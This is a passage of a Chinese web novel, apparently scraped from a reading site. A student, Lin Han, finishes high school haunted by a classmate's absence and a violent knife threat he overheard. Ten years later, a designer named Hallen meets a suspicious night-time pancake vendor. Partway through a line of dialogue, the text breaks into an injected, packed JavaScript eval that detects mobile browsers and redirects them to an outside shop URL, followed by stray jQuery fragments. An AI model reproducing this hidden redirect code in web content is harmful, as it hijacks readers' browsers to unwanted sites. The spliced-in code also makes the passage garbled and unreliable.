林晗一个月后回到学校,世界杯已经结束,没有人再提那场打赌,甚至没有人再提黎小白,林晗看着身边干干净净的书桌,仿佛那里从来就不曾出现那个人。此后林晗一直独自一人坐,可是他再也没有把书包文具扔到旁边的桌子上,那里始终是干干净净的,对,干干净净,没有一丝灰尘,无论过去多久,那个桌子和椅子上,都是一尘不染。

    随后就是期末考试,林晗成绩一般,没有掉下太多,升入高三的暑假酷热且短暂,十天之后,他们正式步入高三生活,所有人都埋头做题,外界的一切干扰,全都不复存在,唯一的使命就是做题,做题,做题。

    林晗有时会抬起酸涩的脖子,盯着身旁的课桌出神,特别有亮光反射的东西,总会刺得林晗眼睛一疼,随后便像条件反射一般,他那早已恢复如初的,骨折左臂又开始隐隐生疼。

    林晗记得那道亮光,犹如一把磨得锋利的匕首,在阳光下发出的寒光,与之相伴的,还有那句阴森森地威胁:“你敢再打林晗一下,我以后一定会在你妹妹身上,全部还回来,我会用这把刀,把她整个皮肤都扒下来,做成洋娃娃送给你。柯宇,我,黎小白,向来说到做到。”

    林晗当时并没有昏迷,他身上确实很疼,被那些人,无数脚踩下去,疼得撕心裂肺,可是那些小混混,向来是打架的好手,没有一个人去打他的头,所以。林晗的思维一直都是清醒的,他清楚地听到了黎小白和柯宇的每一句话。他们,应该很早就认识了吧。柯宇用那么熟稔的语气喊出的“干妈”,是不是就是黎小白的母亲。

    每次林晗想到这里,思维便彻底顿住,随后他收回视线,再一次盯着面前的课本,做题,做题,做题。

    高三的日子紧张忙碌,且过得及其迅速。转眼经历过高考,填报志愿,这些人便彻底告别高中生活,最后一天拍集体照的时候,好多半途离开的人都回来了,林晗在人群中看到了久违的李璐,心里一阵诧异,自己当年怎么就迷恋上这么一个人呢,如今的李璐,哎,林晗摇了摇头。

    虽说高三的日子,林晗家里一贯的窘迫情形有所好转,但是林晗依旧担心家里的经济状况,他高考报志愿时,选的是提前批次录取的治安署下辖大学,一应食宿皆包,每个月还会发些零花钱,此时林晗已经收到了录取通知书,所以他的心情比旁人更轻松,在同学中穿来打去,享受这最后的高中生活。

    可惜,这些相互陪伴了三年的人群中,始终少了一个人影。

    黎小白,她说话算话,绝不再出现在林晗的视野中。

    十年之后。

    “好了没有?”周总监推门进来,正入眼是一大盆干拌牛舌,“你说说你,怎么还有心思吃东西呢?你不知道设计部都在等你,就非得这会儿吃不可,你自己好意思么?全公司,设计部,所有人都在等你出结果,你看看你,居然还有心吃零食,Hallen啊,不是我说你,你这个小姑娘,心可是有点大,咱们这个方案都被甲方退回来五次了,五次啊,你知不知道这是什么概念?就是说,只要再有一次退稿,咱们的投标也别上了,公司接不到业务,立刻原地解散,所有人都得失业,所以,你能不能认真点,认真把这份标书做好,算哥哥求你了,行不行?”

    Hallen手里捧着饭盆,就这么看着总监苦口婆心地教育她,面上还得装成一副痛定思痛的模样,心里却在不停腹诽,有你说话这个功夫,老娘的牛舌都吃完了,这可好,我吃不上东西,你也拿不到方案,知道时间紧迫,还这么多废话。

    等周总监终于觉得自己这份语重心长的劝解,让这个刚刚从国外回来的首席设计主管听进去以后,方才带着满意的笑容离开,剩下Hallen继续手上未完成的手稿。

    再次抬头,时针已绕过十二点,Hallen晃了晃酸楚的脖子,先抬手去拿那盆已经冷掉的干拌牛舌,捡了一块扔进嘴里,嚼了两下,一咧嘴又吐出来,“真难吃,凉了以后真难吃。”她抬手把剩下的都扔进一旁的垃圾桶里,随后再检查一遍画稿,保存发送,给总监传过去之后,又等了片刻没见回复,“哼!老年人。”Hallen嘴里哼了一声,退出,关机,拿起背包出了公司。

    他们公司是在市中心,这里有一片写字楼,平时租住的公司挺多的,无论什么时候都是人来人往,挤个不停,不过眼下是午夜十二点半,大部分公司的人,早就回家睡觉了,零星还有几家,像他们公司这么变态的,在深夜加班,可是人家领导总知道体恤下属,给买个宵夜什么的,可他们总监呢?别说请吃宵夜了,就连自己买的,都不让你吃。

    就是他们总监年纪大了,自己还有三高,平时不怎么吃东西,就严格限制下属,也不让吃零食,一心只想着压榨,哼,真是个周扒皮,对,就是周扒皮转世的。

    Hallen走出楼门,眼睛往四下里一转,哎!好奇怪,街角那里,怎么有一辆卖鸡蛋饼的小推车呢?

    对于他们楼下的各家小吃,Hallen可谓极为熟悉,白天的时候,街口那里是挤不下的,什么烤冷面,臭豆腐,烤肠,炸鸡排,奶茶、汉堡、鸡蛋灌饼,这些东西不用说了,那都是他们这些年轻的上班族最爱,虽说楼上有几家大公司,里面有食堂,也包管一日三餐,可是食堂里的饭菜,哪里能比得上街角小吃啊?尤其是对于他们这些二十来岁的年轻人而言,正是嘴馋的时候,哪天不得排队下来拎一袋子上去。

    不过这些流动小吃摊,通常会随着楼上公司下班,而一并消失。就算知道有几家是深夜加班,公司里还有零星员工等着投喂,但是这些摆摊的摊主,可不惯着你们这些臭毛病,你们牛马们愿意加班,是你们的自由,小吃摊摊主要准时下班,则是人家的自由。

    所以平时Hallen加班后,下楼觅食,都是都会去路口那家24小时便利店里,寻点东西吃,今天竟然能看到一个卖鸡蛋饼的小吃摊,实在是运气超好。

    Hallen兴奋地走过去,“老板,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933611|213689||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拿个鸡蛋饼,不要加葱,多甜多辣。”

    那个小吃摊摊主,一直在扬着头看楼上,估计心里也没想到,都这个时候了,还能有人来光顾生意,以至于Hallen连说了两遍,对方都没理会。

    “哎,哎,说你呢,做生意不?”Hallen有点急,主要还是饿,她伸手敲了敲小车子的栏杆,才把摊主的目光拽回来,看到Hallen他也是一惊:“你,你要干什么?”

    “我干什么?我买鸡蛋饼啊。”Hallen更是莫名其妙。

    “啊,今天收摊了,不卖了。”摊主说完,又仰头去看楼上。

    Hallen这会儿是真饿了,再一个她也实在不想吃那家便利店里的东西,便探出身子去掀那个锅盖,“老板,你这里,不是还有这么多面糊么?怎么就收摊了,你要收摊为啥不回家啊?你站在这里,不就是为了摆摊的么?”

    Hallen八分不解里透着两分不满,老板也没想到她能自己动手,神色有点尴尬,没想好说什么,就听Hallen又开口:“你是觉得我买不起么?嘿,我今天还就大方一次,给我来一份至尊豪华版的鸡蛋饼,加十个鸡蛋那种,你说多少钱?”

    这小摊主听完她说话,吓得浑身一哆嗦,结结巴巴地说:“小,小姑娘,你这大晚上的,吃这么多鸡蛋,可是不好消化啊,给你做个常规的吧。”

    “不行,常规的不够吃,”Hallen摇摇头,说:“你给我加四个鸡蛋,三根香肠,还有辣条,薄脆,豆腐皮,那个,那个都加上,多少钱?”

    小摊主的眼皮随着Hallen的手指动一下,跳一下,心里却开始发慌,他拧开燃气,胡乱擦了擦铁板,从面桶里舀出来一勺面糊,直接倒在铁板上。

    “哎,摊主,人家都先抹油,你怎么直接倒面糊啊?那不粘锅了?”Hallen还挺懂行。果然小摊主眼皮又是一跳。忙拿起铲子去铲,可就这么会儿功夫,整团面糊都黏在铁板上,铲了半天,还留下一圈乌黑的印记。

    “摊主,你这火也开得太大了,你紧张什么啊?我又不打劫你,我给你钱的,不是吃白食。”Hallen站在一旁,看着摊主在用力把铁板擦干净,这次倒是先涂上油,不过倒得有点多,食用油顺着铁板边缘滚了下去,“滋啦!”沾到火星,火苗窜起多高来。小摊主忙拿麻布盖住。

    “你怎么摆摊的?今天是第一天么?业务也不熟练啊,你,你不是在这儿做卧底的吧。”Hallen越看越觉得这个小摊主可疑。可这一句话,让这小摊主吓得手又是一抖,刚刚舀出来的面糊,有大半都倒在了地上。

    这次没等Hallen说话,小摊主自己先开口:“我,我今天,第一天摆摊,刚来的,还在练手,练手。”

    好在这次火开得小,也提前在铁板上抹了油,就算面糊倒得七扭八歪,用铲子匀匀也将将成了一个椭圆形。

    “哎,你,你是林晗吧。”Hallen突然开口问道。